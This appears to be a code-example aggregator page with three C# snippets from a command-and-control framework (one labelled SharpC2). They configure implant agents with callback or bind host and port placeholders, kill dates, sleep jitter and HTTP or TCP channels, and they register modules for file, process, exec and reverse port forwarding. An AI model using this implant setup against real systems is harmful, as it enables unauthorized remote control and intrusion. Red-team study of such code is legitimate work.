Start() public method

public Start ( ) : void
return void
示例#1
0
        public static void Execute()
        {
            var config = new ConfigController();

            //config.SetOption(ConfigSetting.ConnectHosts, "127.0.0.1");
            //config.SetOption(ConfigSetting.ConnectPort, "8080");
            //config.SetOption(ConfigSetting.KillDate, DateTime.Parse("01/01/2021 00:00:00"));
            //config.SetOption(ConfigSetting.SleepInterval, 1);
            //config.SetOption(ConfigSetting.SleepJitter, 0);

            config.SetOption(ConfigSetting.ConnectHosts, "<<ConnectHost>>");
            config.SetOption(ConfigSetting.ConnectPort, "<<ConnectPort>>");
            config.SetOption(ConfigSetting.KillDate, DateTime.Parse("<<KillDate>>"));
            config.SetOption(ConfigSetting.SleepInterval, "<<SleepInterval>>");
            config.SetOption(ConfigSetting.SleepJitter, "<<SleepJitter>>");

            var crypto = new CryptoController();

            var commModule = new HttpCommModule();

            commModule.Init(config, crypto);

            var agent = new AgentController(config, crypto, commModule);

            agent.Init();
            agent.RegisterAgentModule(new CoreAgentModule());
            agent.RegisterAgentModule(new ReversePortForwardModule());
            agent.Start();
        }
示例#2
0
    private static void StartAgent(ConfigController config, ICommModule commModule)
    {
        var crypto = new CryptoController();

        commModule.Init(config, crypto);

        var agent = new AgentController(config, crypto, commModule);

        agent.Init(AgentID, ParentAgentID);

        agent.RegisterAgentModule(new CoreModule());
        agent.RegisterAgentModule(new SetModule());
        agent.RegisterAgentModule(new LinkModule());
        agent.RegisterAgentModule(new DirectoryModule());
        agent.RegisterAgentModule(new FileModule());
        agent.RegisterAgentModule(new NetModule());
        agent.RegisterAgentModule(new DrivesModule());
        agent.RegisterAgentModule(new EnvModule());
        agent.RegisterAgentModule(new ProcessModule());
        agent.RegisterAgentModule(new ExecModule());
        agent.RegisterAgentModule(new RevPortFwdModule());

        agent.Start();
    }
示例#3
0
文件: Agent.cs 项目: z3r0p3N/SharpC2
        public static void Execute()
        {
            var config = new ConfigController();

            //config.SetOption(ConfigSetting.BindAddress, "0.0.0.0");
            //config.SetOption(ConfigSetting.BindPort, 4444);
            //config.SetOption(ConfigSetting.KillDate, DateTime.Parse("01/01/2021 00:00:00"));

            config.SetOption(ConfigSetting.BindAddress, "<<BindAddress>>");
            config.SetOption(ConfigSetting.BindPort, "<<BindPort>>");
            config.SetOption(ConfigSetting.KillDate, DateTime.Parse("<<KillDate>>"));

            var crypto = new CryptoController();

            var commModule = new TcpCommModule();

            commModule.Init(config, crypto);

            var agent = new AgentController(config, crypto, commModule);

            agent.Init();
            agent.RegisterAgentModule(new LinkModule());
            agent.Start();
        }